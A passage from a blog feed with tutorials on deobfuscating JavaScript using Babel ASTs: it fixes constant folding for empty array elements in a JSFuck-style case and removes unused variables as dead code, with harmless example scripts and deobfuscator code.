+([[[[[[]], , ,]]]] != <span class="hljs-number">0</span>);<br></code></pre></td></tr></table></figure><p>Which is no different! So, why is our code breaking?</p><h2 id="Analysis-Methodology-1"><a href="#Analysis-Methodology-1" class="headerlink" title="Analysis Methodology"></a>Analysis Methodology</h2><h3 id="The-Problem-1"><a href="#The-Problem-1" class="headerlink" title="The Problem"></a>The Problem</h3><p>Intuitively, you can probably guess what’s causing the issue. The only real difference is that there seems to be an array containing blank elements: <code>[, , ,]</code>.</p><p>But why would that even matter? Let’s paste our code into <a href="https://astexplorer.net/">AST Explorer</a> to try and figure out what’s going on.</p><p><img src="/2022/06/14/Deobfuscating-Javascript-via-AST-Deobfuscating-a-Peculiar-JSFuck-style-Case/jsfuck6.PNG" alt="View of the obfuscated code in AST Explorer"></p><p>We know that everything else seems normal except for the array containing empty elements, so let’s focus on that. We can highlight the empty elements in the code using our cursor to automatically show their respective nodes on the right-hand side.</p><p><img src="/2022/06/14/Deobfuscating-Javascript-via-AST-Deobfuscating-a-Peculiar-JSFuck-style-Case/jsfuck7.png" alt="A closer look at the nodes of interest"></p><p>You’ll notice something strange! There are elements of the array that are <code>null</code>. Keep in mind, in Babel, the node types <code>Literal</code> and <code>Identifier</code> are used to represent <code>null</code> and <code>undefined</code> respectively (as shown below):</p><p><img src="/2022/06/14/Deobfuscating-Javascript-via-AST-Deobfuscating-a-Peculiar-JSFuck-style-Case/jsfuck8.png" alt="Handling of null, undefined, and empty elements"></p><p>But, in this case, we don’t even have a node! It’s just simply <code>null</code>.</p><p>Let’s look inside of Babel’s source code implementation for <code>path.evaluate()</code> to see why the script breaks when encountering this. You can view the original script from the <a href="https://github.com/babel/babel/blob/main/packages/babel-traverse/src/path/evaluation.ts">official GitHub repository</a>, or by navigating to <code>\node_modules\@babel\traverse\lib\path\evaluation.js</code>.</p><p><img src="/2022/06/14/Deobfuscating-Javascript-via-AST-Deobfuscating-a-Peculiar-JSFuck-style-Case/jsfuck9.PNG" alt="snippet from \node_modules@babel\traverse\lib\path\evaluation.js"></p><p>The above code snippet can be found in the <code>_evaluate()</code> function, which runs as a helper for the main <code>evaluate()</code> function.</p><p>We can see that when <code>path.evaluate()</code> is called on an array expression, it tries to recursively evaluate all of its inner elements.However, if the evaluation fails/returns <code>confident: false</code> for any element in the array, the entire evaluation short circuits.</p><p>But, Babel actually has an implementation to handle occurrences of <code>undefined</code> and <code>null</code> in source code:</p><p><img src="/2022/06/14/Deobfuscating-Javascript-via-AST-Deobfuscating-a-Peculiar-JSFuck-style-Case/jsfuck10.png" alt="Handling of undefined"></p><p><img src="/2022/06/14/Deobfuscating-Javascript-via-AST-Deobfuscating-a-Peculiar-JSFuck-style-Case/jsfuck11.PNG" alt="Handling of null"></p><p>However, that’s only after they’re converted to either a node of type <code>NullLiteral</code> or <code>Identifier</code>. In evaluation.js, there isn’t any handling for when a <code>null</code> value is encountered, so the method will return <code>confident: false</code> whenever an empty array element is encountered.</p><h3 id="The-Fix-1"><a href="#The-Fix-1" class="headerlink" title="The Fix"></a>The Fix</h3><p>We shouldn’t give up though, since we <em>KNOW</em> that it’s possible to evaluate the code to a constant because we tested it in a console before. Let’s use a console again, this time to see what an empty element in an array is actually equal to:</p><p><img src="/2022/06/14/Deobfuscating-Javascript-via-AST-Deobfuscating-a-Peculiar-JSFuck-style-Case/jsfuck12.PNG" alt="Inspecting the value of an empty element"></p><p>We can see that trying to access an empty element in an array returns <code>undefined</code>! Okay, but how does that help us?</p><p>Recall that Babel has an implementation for handling <code>undefined</code> in evaluation.js. However, the reason it didn’t work was because Babel failed to convert the empty array elements to a node. To fix our problem, all we have to do is replace any empty elements in arrays with <code>undefined</code> beforehand, so Babel can recognize them as the <code>undefined</code> keyword and evaluate them properly!</p><h2 id="Writing-the-Deobfuscator-Logic-1"><a href="#Writing-the-Deobfuscator-Logic-1" class="headerlink" title="Writing the Deobfuscator Logic"></a>Writing the Deobfuscator Logic</h2><p>The deobfuscator logic is as follows:</p><ol><li>Traverse the ast for <code>ArrayExpression</code>s. When one is encountered:</li><li>Check if the element is falsy. A node representation of <code>undefined</code> or <code>null</code> still will not be falsy, since a node is an object.</li><li>If it’s falsy, replace it with the node representation of <code>undefined</code>.</li><li>Run our constant folding plugin from Example 1.<br>The babel deobfuscation code is shown below:</li></ol><h2 id="Babel-Deobfuscation-Script-1"><a href="#Babel-Deobfuscation-Script-1" class="headerlink" title="Babel Deobfuscation Script"></a>Babel Deobfuscation Script</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br></pre></td><td class="code"><pre><code class="hljs js"><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * Deobfuscator.js</span><br><span class="hljs-comment"> * The babel script used to deobfuscate the target file</span><br><span class="hljs-comment"> *</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">const</span> parser = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/parser"</span>);<br><span class="hljs-keyword">const</span> traverse = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/traverse"</span>).<span class="hljs-property">default</span>;<br><span class="hljs-keyword">const</span> t = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/types"</span>);<br><span class="hljs-keyword">const</span> generate = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/generator"</span>).<span class="hljs-property">default</span>;<br><span class="hljs-keyword">const</span> beautify = <span class="hljs-built_in">require</span>(<span class="hljs-string">"js-beautify"</span>);<br><span class="hljs-keyword">const</span> { readFileSync, writeFile } = <span class="hljs-built_in">require</span>(<span class="hljs-string">"fs"</span>);<br><br><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * Main function to deobfuscate the code.</span><br><span class="hljs-comment"> * <span class="hljs-doctag">@param</span> source The source code of the file to be deobfuscated</span><br><span class="hljs-comment"> *</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">function</span> <span class="hljs-title function_">deobfuscate</span>(<span class="hljs-params">source</span>) {<br> <span class="hljs-comment">//Parse AST of Source Code</span><br> <span class="hljs-keyword">const</span> ast = parser.<span class="hljs-title function_">parse</span>(source);<br><br> <span class="hljs-keyword">const</span> fixArrays = {<br> <span class="hljs-title class_">ArrayExpression</span>(path) {<br> <span class="hljs-keyword">for</span> (elem <span class="hljs-keyword">of</span> path.<span class="hljs-title function_">get</span>(<span class="hljs-string">"elements"</span>)) {<br> <span class="hljs-keyword">if</span> (!elem.<span class="hljs-property">node</span>) {<br> elem.<span class="hljs-title function_">replaceWith</span>(t.<span class="hljs-title function_">valueToNode</span>(<span class="hljs-literal">undefined</span>));<br> }<br> }<br> },<br> };<br><br> <span class="hljs-title function_">traverse</span>(ast, fixArrays);<br><br> <span class="hljs-comment">// Visitor for constant folding</span><br> <span class="hljs-keyword">const</span> constantFold = {<br> <span class="hljs-string">"BinaryExpression|UnaryExpression"</span>(path) {<br> <span class="hljs-keyword">const</span> { node } = path;<br> <span class="hljs-keyword">if</span> (<br> t.<span class="hljs-title function_">isUnaryExpression</span>(node) &&<br> (node.<span class="hljs-property">operator</span> == <span class="hljs-string">"-"</span> || node.<span class="hljs-property">operator</span> == <span class="hljs-string">"void"</span>)<br> )<br> <span class="hljs-keyword">return</span>;<br> <span class="hljs-keyword">let</span> { confident, value } = path.evaluate(); <span class="hljs-comment">// Evaluate the binary expression</span><br> <span class="hljs-keyword">if</span> (!confident || value == <span class="hljs-title class_">Infinity</span> || value == -<span class="hljs-title class_">Infinity</span>) <span class="hljs-keyword">return</span>; <span class="hljs-comment">// Skip if not confident</span><br><br> path.<span class="hljs-title function_">replaceWith</span>(t.<span class="hljs-title function_">valueToNode</span>(value)); <span class="hljs-comment">// Replace the BinaryExpression with a new node of inferred type</span><br> },<br> };<br><br> <span class="hljs-comment">//Execute the visitor</span><br> <span class="hljs-title function_">traverse</span>(ast, constantFold);<br> <span class="hljs-comment">// Code Beautification</span><br> <span class="hljs-keyword">let</span> deobfCode = <span class="hljs-title function_">generate</span>(ast, { <span class="hljs-attr">comments</span>: <span class="hljs-literal">false</span> }).<span class="hljs-property">code</span>;<br> deobfCode = <span class="hljs-title function_">beautify</span>(deobfCode, {<br> <span class="hljs-attr">indent_size</span>: <span class="hljs-number">2</span>,<br> <span class="hljs-attr">space_in_empty_paren</span>: <span class="hljs-literal">true</span>,<br> });<br> <span class="hljs-comment">// Output the deobfuscated result</span><br> <span class="hljs-title function_">writeCodeToFile</span>(deobfCode);<br>}<br><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * Writes the deobfuscated code to output.js</span><br><span class="hljs-comment"> * <span class="hljs-doctag">@param</span> code The deobfuscated code</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">function</span> <span class="hljs-title function_">writeCodeToFile</span>(<span class="hljs-params">code</span>) {<br> <span class="hljs-keyword">let</span> outputPath = <span class="hljs-string">"output.js"</span>;<br> <span class="hljs-title function_">writeFile</span>(outputPath, code, <span class="hljs-function">(<span class="hljs-params">err</span>) =></span> {<br> <span class="hljs-keyword">if</span> (err) {<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-string">"Error writing file"</span>, err);<br> } <span class="hljs-keyword">else</span> {<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-string">`Wrote file to <span class="hljs-subst">${outputPath}</span>`</span>);<br> }<br> });<br>}<br><br><span class="hljs-title function_">deobfuscate</span>(<span class="hljs-title function_">readFileSync</span>(<span class="hljs-string">"./jsFuckObfuscated.js"</span>, <span class="hljs-string">"utf8"</span>));<br></code></pre></td></tr></table></figure><p>After processing the obfuscated script with the babel plugin above, we get the following result:</p><h2 id="Post-Deobfuscation-Result-2"><a href="#Post-Deobfuscation-Result-2" class="headerlink" title="Post-Deobfuscation Result"></a>Post-Deobfuscation Result</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs js"><span class="hljs-keyword">let</span> obbedVar = <span class="hljs-number">1</span>;<br></code></pre></td></tr></table></figure><p>And we’ve successfully simplified it down to a constant!</p><h1 id="Conclusion"><a href="#Conclusion" class="headerlink" title="Conclusion"></a>Conclusion</h1><p>I will admit that this article may have been a bit longer than it needed to be. However, I felt that for my beginner-level readers, it would be more helpful to explain the entire reverse-engineering thought process; including where and why some things go wrong, and the logical process of constructing a solution.</p><p>Okay, that’s all I have to cover for today. If you’re interested, you can find the source code for all the examples in <a href="https://github.com/SteakEnthusiast/Supplementary-AST-Based-Deobfuscation-Materials">this repository</a>.</p><p>I hope this article helped you learn something new. Thanks for reading, and happy reversing! 😄</p>]]></content>
<categories>
<category>Deobfuscation</category>
</categories>
<tags>
<tag>Javascript</tag>
<tag>Deobfuscation</tag>
<tag>Babel</tag>
<tag>Reverse Engineering</tag>
</tags>
</entry>
<entry>
<title>Deobfuscating Javascript via AST: Removing Dead or Unreachable Code</title>
<link href="/2022/06/04/Deobfuscating-Javascript-via-AST-Removing-Dead-or-Unreachable-Code/"/>
<url>/2022/06/04/Deobfuscating-Javascript-via-AST-Removing-Dead-or-Unreachable-Code/</url>
<content type="html"><![CDATA[<h1 id="Preface"><a href="#Preface" class="headerlink" title="Preface"></a>Preface</h1><p>This article assumes a preliminary understanding of Abstract Syntax Tree structure and <a href="https://babeljs.io/">BabelJS</a>. <a href="http://steakenthusiast.github.io/2022/05/21/Deobfuscating-Javascript-via-AST-An-Introduction-to-Babel/">Click Here</a> to read my introductory article on the usage of Babel.</p><h1 id="Definitions"><a href="#Definitions" class="headerlink" title="Definitions"></a>Definitions</h1><p>Both <em>dead code</em> and <em>unreachable code</em> are obfuscation techniques relying on the injection of junk code that does not alter the main functionality of a program. Their only purpose is to bloat the appearance of the source code to make it more confusing for a human to analyze. Though being similar, there’s a slight difference between the two.</p><h2 id="What-is-Dead-Code"><a href="#What-is-Dead-Code" class="headerlink" title="What is Dead Code?"></a>What is Dead Code?</h2><p><strong><em>Dead code</em></strong> is a section of code that is executed, but its results are never used in the rest of the program. In addition to increasing the file size, dead code also increases the program runtime and CPU usage since it is being executed.</p><h2 id="What-is-unreachable-code"><a href="#What-is-unreachable-code" class="headerlink" title="What is unreachable code?"></a>What is unreachable code?</h2><p><strong><em>Unreachable code</em></strong> is a section of code that is never executed, since there is no existing control flow path that leads to its execution. This results in an increase in file size, but shouldn’t affect the runtime of the program since its contents are never executed.</p><h1 id="Examples"><a href="#Examples" class="headerlink" title="Examples"></a>Examples</h1><h2 id="Example-1-Dead-Code-Unused-Variables-and-Functions"><a href="#Example-1-Dead-Code-Unused-Variables-and-Functions" class="headerlink" title="Example 1: [Dead Code] Unused Variables and Functions"></a>Example 1: [Dead Code] Unused Variables and Functions</h2><p>An unused variable/function is something that is declared (and often, but not always, initialized), but is never used in the program. Therefore, for a variable to be unused, it must:</p><ol><li>Be constant, and</li><li>Have no references</li></ol><p>The following obfuscated script contains many of them:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * unreferencedVariablesObfuscated.js</span><br><span class="hljs-comment"> * Lots of useless variables!</span><br><span class="hljs-comment"> */</span><br><br><span class="hljs-keyword">var</span> a = <span class="hljs-number">3</span>;<br><span class="hljs-keyword">var</span> b;<br><span class="hljs-keyword">function</span> <span class="hljs-title function_">useless1</span>(<span class="hljs-params">yeet</span>) {<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(yeet);<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-string">"I'm useless :("</span>);<br>}<br><span class="hljs-keyword">const</span> c = <span class="hljs-number">7</span>;<br><span class="hljs-keyword">let</span> d = <span class="hljs-number">293</span>;<br><span class="hljs-keyword">const</span> u = <span class="hljs-string">"My favourite"</span>;<br><span class="hljs-keyword">var</span> useless2 = <span class="hljs-keyword">function</span> (<span class="hljs-params">bruh</span>) {<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(bruh.<span class="hljs-property">useless</span>, <span class="hljs-string">":("</span>);<br>};<br><br><span class="hljs-keyword">function</span> <span class="hljs-title function_">notHello</span>(<span class="hljs-params"></span>) {<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-string">"No!"</span>);<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(i + lmaod, u, el, dgajd, fg + lmaod);<br>}<br><span class="hljs-keyword">let</span> dbgad = <span class="hljs-number">23172</span>;<br><span class="hljs-keyword">let</span> dgajd = <span class="hljs-string">"is"</span>;<br><span class="hljs-keyword">var</span> i = <span class="hljs-string">"Hello"</span>;<br><span class="hljs-keyword">let</span> vnajkfdhg;<br><span class="hljs-keyword">var</span> dnakd;<br><span class="hljs-keyword">let</span> bvs = <span class="hljs-keyword">new</span> <span class="hljs-title class_">Date</span>();<br><span class="hljs-keyword">var</span> h = <span class="hljs-string">"yeet"</span>;<br><span class="hljs-keyword">let</span> bv = <span class="hljs-number">23</span>;<br><span class="hljs-keyword">var</span> fg = <span class="hljs-string">"steak"</span>;<br><span class="hljs-keyword">var</span> lmaod = <span class="hljs-string">"!"</span>;<br><span class="hljs-keyword">const</span> el = <span class="hljs-string">"food"</span>;<br><span class="hljs-keyword">let</span> n = <span class="hljs-number">1363</span>;<br><span class="hljs-keyword">let</span> vch = <span class="hljs-string">"dghda"</span> + <span class="hljs-number">2</span>;<br><span class="hljs-keyword">let</span> lol = performance.<span class="hljs-title function_">now</span>();<br><span class="hljs-keyword">const</span> sayHello = <span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) {<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(i + lmaod, u, el, dgajd, fg + lmaod);<br>};<br><span class="hljs-keyword">let</span> dga = <span class="hljs-number">3653817</span>;<br><span class="hljs-keyword">let</span> sfa = <span class="hljs-string">"362813"</span>;<br><span class="hljs-title function_">sayHello</span>();<br><span class="hljs-keyword">let</span> lmao;<br><span class="hljs-keyword">var</span> fldfioan;<br></code></pre></td></tr></table></figure><h3 id="Analysis-Methodology"><a href="#Analysis-Methodology" class="headerlink" title="Analysis Methodology"></a>Analysis Methodology</h3><p>Let’s begin our analysis by pasting the obfuscated script into <a href="https://astexplorer.net/">AST Explorer</a></p><p><img src="/2022/06/04/Deobfuscating-Javascript-via-AST-Removing-Dead-or-Unreachable-Code/unusedVars1.PNG" alt="A view of the obfuscated code in AST Explorer"></p><p>We can observe from the AST structure that each new variable creation results in the creation of one of two types of nodes:</p><ol><li><p>A <em>VariableDeclaration</em>, for variables assigned with <code>let</code>, <code>var</code>, and <code>const</code>. 2. Each of these <em>VariableDeclarations</em> contains an array of <em>VariableDeclarators</em>. It is the <em>VariableDeclarator</em> that actually contains the information of the variables, including its <code>id</code> and <code>init</code> values. So, we can make <em>VariableDeclarator</em> nodes our focus of interest to avoid unnecessary extra traversals.</p></li><li><p>A <em>FunctionDeclaration</em>, for functions declared with a <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/function#specifications">function statement</a>.</p></li></ol><p>Based on this, we can deem our target node types of interest to be <em>VariableDeclarator</em> and <em>FunctionDeclaration</em>.</p><p>Recall that we want to identify all <strong><em>constant</em></strong> variables and <strong>non-referenced</strong> variables, then remove them. It’s important to note that variables in different scopes (e.g. local vs. global), may share the same name but have different values. So, we cannot simply base our solution on how many times a variable name occurs in a program.</p><p>This would be a convoluted process if not for Babel’s ‘Scope’ API. I won’t dive too deep into the available scope APIs, but you can refer to the <a href="https://github.com/jamiebuilds/babel-handbook/blob/master/translations/en/plugin-handbook.md#toc-scopes">Babel Plugin Handbook</a> to learn more about them. In our case, the <code>scope.getBinding(${identifierName})</code> method will be incredibly useful for us, as it directly returns information regarding if a variable is constant and all of its references (or lack thereof).</p><p>We can use our observations to construct the following deobfuscation logic:</p><ol><li>Traverse the AST for <em>VariableDeclarators</em> and <em>FunctionDeclarations</em>. Since both node types have both have the <code>id</code> property, we can write a single plugin for both.<ul><li><strong>Tip</strong>: <em>To write a function that works for multiple visitor nodes, we can add an</em> <code>|</code> <em>seperating them in the method name as a string like this:</em> <code>"VariableDeclarator|FunctionDeclaration"</code></li></ul></li><li>Use the <code>path.scope.getBinding(${identifierName})</code> method with the name of the current variable as the argument.</li><li>If the method returns <code>constant</code> as <code>true</code> and <code>referenced</code> as <code>false</code>, the declaration is considered to be dead code and can be safely removed with <code>path.removed()</code></li></ol><p>The babel implementation is shown below:</p><h3 id="Babel-Implementation"><a href="#Babel-Implementation" class="headerlink" title="Babel Implementation"></a>Babel Implementation</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * Deobfuscator.js</span><br><span class="hljs-comment"> * The babel script used to deobfuscate the target file</span><br><span class="hljs-comment"> *</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">const</span> parser = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/parser"</span>);<br><span class="hljs-keyword">const</span> traverse = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/traverse"</span>).<span class="hljs-property">default</span>;<br><span class="hljs-keyword">const</span> t = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/types"</span>);<br><span class="hljs-keyword">const</span> generate = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/generator"</span>).<span class="hljs-property">default</span>;<br><span class="hljs-keyword">const</span> beautify = <span class="hljs-built_in">require</span>(<span class="hljs-string">"js-beautify"</span>);<br><span class="hljs-keyword">const</span> { readFileSync, writeFile } = <span class="hljs-built_in">require</span>(<span class="hljs-string">"fs"</span>);<br><span class="hljs-keyword">const</span> { <span class="hljs-title class_">Referenced</span> } = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/traverse/lib/path/lib/virtual-types"</span>);<br><span class="hljs-keyword">const</span> { constants } = <span class="hljs-built_in">require</span>(<span class="hljs-string">"buffer"</span>);<br><br><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * Main function to deobfuscate the code.</span><br><span class="hljs-comment"> * <span class="hljs-doctag">@param</span> source The source code of the file to be deobfuscated</span><br><span class="hljs-comment"> *</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">function</span> <span class="hljs-title function_">deobfuscate</span>(<span class="hljs-params">source</span>) {<br> <span class="hljs-comment">//Parse AST of Source Code</span><br> <span class="hljs-keyword">const</span> ast = parser.<span class="hljs-title function_">parse</span>(source);<br><br> <span class="hljs-comment">// Visitor for unused variable removal</span><br> <span class="hljs-keyword">const</span> removedUnusedVariablesVisitor = {<br> <span class="hljs-string">"VariableDeclarator|FunctionDeclaration"</span>(path) {<br> <span class="hljs-keyword">const</span> { node, scope } = path;<br> <span class="hljs-keyword">const</span> { constant, referenced } = scope.<span class="hljs-title function_">getBinding</span>(node.<span class="hljs-property">id</span>.<span class="hljs-property">name</span>);<br> <span class="hljs-comment">// If the variable is constant and never referenced, remove it.</span><br> <span class="hljs-keyword">if</span> (constant && !referenced) {<br> path.<span class="hljs-title function_">remove</span>();<br> }<br> },<br> };<br><br> <span class="hljs-comment">// Execute the visitor</span><br> <span class="hljs-title function_">traverse</span>(ast, removedUnusedVariablesVisitor);<br><br> <span class="hljs-comment">// Code Beautification</span><br> <span class="hljs-keyword">let</span> deobfCode = <span class="hljs-title function_">generate</span>(ast, { <span class="hljs-attr">comments</span>: <span class="hljs-literal">false</span> }).<span class="hljs-property">code</span>;<br> deobfCode = <span class="hljs-title function_">beautify</span>(deobfCode, {<br> <span class="hljs-attr">indent_size</span>: <span class="hljs-number">2</span>,<br> <span class="hljs-attr">space_in_empty_paren</span>: <span class="hljs-literal">true</span>,<br> });<br> <span class="hljs-comment">// Output the deobfuscated result</span><br> <span class="hljs-title function_">writeCodeToFile</span>(deobfCode);<br>}<br><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * Writes the deobfuscated code to output.js</span><br><span class="hljs-comment"> * <span class="hljs-doctag">@param</span> code The deobfuscated code</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">function</span> <span class="hljs-title function_">writeCodeToFile</span>(<span class="hljs-params">code</span>) {<br> <span class="hljs-keyword">let</span> outputPath = <span class="hljs-string">"output.js"</span>;<br> <span class="hljs-title function_">writeFile</span>(outputPath, code, <span class="hljs-function">(<span class="hljs-params">err</span>) =></span> {<br> <span class="hljs-keyword">if</span> (err) {<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-string">"Error writing file"</span>, err);<br> } <span class="hljs-keyword">else</span> {<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-string">`Wrote file to <span class="hljs-subst">${outputPath}</span>`</span>);<br> }<br> });<br>}<br><br><span class="hljs-title function_">deobfuscate</span>(<span class="hljs-title function_">readFileSync</span>(<span class="hljs-string">"./unreferencedVariablesObfuscated.js"</span>, <span class="hljs-string">"utf8"</span>));<br></code></pre></td></tr></table></figure><p>After processing the obfuscated script with the babel plugin above, we get the following result:</p><h3 id="Post-Deobfuscation-Result"><a href="#Post-Deobfuscation-Result" class="headerlink" title="Post-Deobfuscation Result"></a>Post-Deobfuscation Result</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-keyword">const</span> u = <span class="hljs-string">"My favourite"</span>;<br><span class="hljs-keyword">let</span> dgajd = <span class="hljs-string">"is"</span>;<br><span class="hljs-keyword">var</span> i = <span class="hljs-string">"Hello"</span>;<br><span class="hljs-keyword">var</span> fg = <span class="hljs-string">"steak"</span>;<br><span class="hljs-keyword">var</span> lmaod = <span class="hljs-string">"!"</span>;<br><span class="hljs-keyword">const</span> el = <span class="hljs-string">"food"</span>;<br><br><span class="hljs-keyword">const</span> sayHello = <span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) {<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(i + lmaod, u, el, dgajd, fg + lmaod);<br>};<br><br><span class="hljs-title function_">sayHello</span>();<br></code></pre></td></tr></table></figure><p>And all non-referenced variables are restored.</p><p><strong>Extra</strong>: By manual analysis, you can probably realize that all the variables declared above the <code>sayHello</code> function can have their values substituted in place of their identifiers inside of the <code>console.log</code> statement. How to accomplish that is outside the scope of this article. But, if you’re interested in learning how to do it, you can read my article about it <a href="http://steakenthusiast.github.io/2022/05/31/Deobfuscating-Javascript-via-AST-Replacing-References-to-Constant-Variables-with-Their-Actual-Value/">here</a>.</p><h2 id="Example-2-Dead-Code-Empty-Statements"><a href="#Example-2-Dead-Code-Empty-Statements" class="headerlink" title="Example 2: [Dead Code] Empty Statements"></a>Example 2: [Dead Code] Empty Statements</h2><p>An <em>empty statement</em> is simply a semi-colon (<code>;</code>) with no same-line code before it. This script is littered with them:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * emptyStatementSrc.js</span><br><span class="hljs-comment"> * Ugly 'obfuscated' code.</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">const</span> a = <span class="hljs-number">2</span>;<br><span class="hljs-keyword">const</span> b = <span 